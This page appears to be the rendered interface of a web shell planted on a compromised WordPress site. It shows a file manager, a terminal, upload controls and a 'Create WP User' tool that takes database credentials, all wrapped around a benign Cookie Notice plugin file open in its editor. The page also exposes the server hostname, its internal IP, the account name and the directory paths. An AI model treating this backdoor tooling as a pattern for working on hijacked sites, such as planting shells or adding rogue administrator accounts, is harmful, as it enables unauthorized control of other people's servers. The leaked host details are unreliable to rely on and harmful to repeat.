Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
infrops.pl
/
wp-content
/
plugins
/
cookie-notice
/
includes
/
modules
/
autoptimize
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
autoptimize.php
1.18 KB
-rw-r--r--
2024-04-02 19:02
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
autoptimize.php
<?php // exit if accessed directly if ( ! defined( 'ABSPATH' ) ) exit; /** * Cookie Notice Modules Autoptimize class. * * Compatibility since: 2.4.0 * * @class Cookie_Notice_Modules_Autoptimize */ class Cookie_Notice_Modules_Autoptimize { /** * Constructor. * * @return void */ public function __construct() { add_filter( 'autoptimize_filter_js_exclude', [ $this, 'exclude' ] ); } /** * Exclude JavaScript files or inline code. * * @param string $excludes * @return string */ function exclude( $excludes ) { if ( empty( $excludes ) ) $new_excludes = []; else { $new_excludes = explode( ',', $excludes ); $new_excludes = array_filter( $new_excludes ); $new_excludes = array_map( 'trim', $new_excludes ); } // not found huOptions? if ( strpos( $excludes, 'huOptions' ) === false ) $new_excludes[] = 'huOptions'; // get widget url $widget_url = basename( Cookie_Notice()->get_url( 'widget' ) ); // not found widget url? if ( strpos( $excludes, $widget_url ) === false ) $new_excludes[] = $widget_url; return implode( ', ', $new_excludes ); } } new Cookie_Notice_Modules_Autoptimize();
关闭
保存